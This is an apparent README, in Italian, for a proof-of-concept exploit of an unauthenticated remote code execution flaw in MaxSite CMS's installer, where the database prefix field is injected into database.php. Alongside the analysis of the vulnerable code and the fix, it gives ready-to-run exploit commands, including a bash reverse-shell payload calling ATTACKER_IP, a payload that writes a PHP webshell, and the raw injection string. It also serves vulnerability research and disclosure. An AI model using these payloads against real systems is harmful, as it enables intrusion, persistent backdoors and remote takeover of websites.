
Exploit proof-of-concept per CVE-2026-70553, che consente RCE non autenticata in MaxSite CMS tramite iniezione PHP persistente in `database.php` attraverso l'endpoint di installazione.
Proof-of-Concept per CVE-2026-70553: esecuzione remota di codice non autenticata in MaxSite CMS tramite iniezione persistente di codice PHP in database.php attraverso l'endpoint di installazione.
Questo PoC è destinato esclusivamente a fini didattici e di ricerca sulla sicurezza autorizzata. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo codice. Effettua test solo su sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione scritta.
Le versioni di MaxSite CMS dalla 105.2 alla 109.5 contengono una vulnerabilità critica di esecuzione remota di codice non autenticata nell'endpoint di installazione. Il parametro db_dbprefix viene concatenato direttamente nel codice PHP senza sanitizzazione, consentendo agli attaccanti di iniettare istruzioni PHP arbitrarie in application/config/database.php. Poiché questo file viene incluso a ogni richiesta, il codice iniettato permette di ottenere una RCE persistente.
In install/installer/functions.php, la funzione newDatabase() costruisce il contenuto di database.php:
function newDatabase($PV)
{
if (file_exists(MSODIR . 'application/config/database.php-distr')) {
$file = file_get_contents(MSODIR . 'application/config/database.php-distr');
// ... other replacements ...
// VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
$file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';',
'$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';',
$file);
file_put_contents(MSODIR . 'application/config/database.php', $file);
return false;
}
// ...
}
Iniettando un payload come:
db_dbprefix=mso_'; system('id'); //
Il database.php generato diventa:
$db['default']['dbprefix'] = 'mso_'; system('id'); //';
Questo consente di uscire dalla stringa letterale e iniettare codice PHP arbitrario.
La correzione ha aggiunto un controllo per impedire la re-installazione:
if (file_exists(MSODIR . 'application/config/database.php-distr')
and
!file_exists(MSODIR . 'application/config/database.php')) // NEW CHECK
{
// ... create database.php only if it doesn't exist
}
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only
# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com
# Custom payload: reverse shell
python3 exploit.py http://target.com \
--cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'
# Custom payload: write webshell
python3 exploit.py http://target.com \
--cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'
--cmd PHP code to inject (default: file write test)
--check-only Only check if install endpoint is accessible
--db-host Database hostname (default: localhost)
--db-user Database username (default: test)
--db-pass Database password (default: test)
--db-name Database name (default: test)
CRITICO: Questa vulnerabilità presenta gravi limitazioni pratiche negli scenari reali.
/install/ non rimossa)newDatabase() viene chiamata solo se le tabelle non esistonoinstall/installer/post.php tramite checkTableExists()newDatabase() non viene mai chiamata/install/ è accessibile, il percorso del codice verso l'iniezione è bloccato dal controllo sull'esistenza delle tabellePer verificare questa vulnerabilità in un ambiente controllato:
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5
# 2. Start PHP built-in server
php -S 127.0.0.1:8000
# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000
# Check if database.php was modified
cat application/config/database.php | grep dbprefix
# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';
# Trigger execution
curl http://127.0.0.1:8000/
# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt
Questo progetto è rilasciato sotto la licenza MIT. Vedi LICENSE per i dettagli.
Ricorda: Pratica sempre la divulgazione responsabile e ottieni la dovuta autorizzazione prima di eseguire test.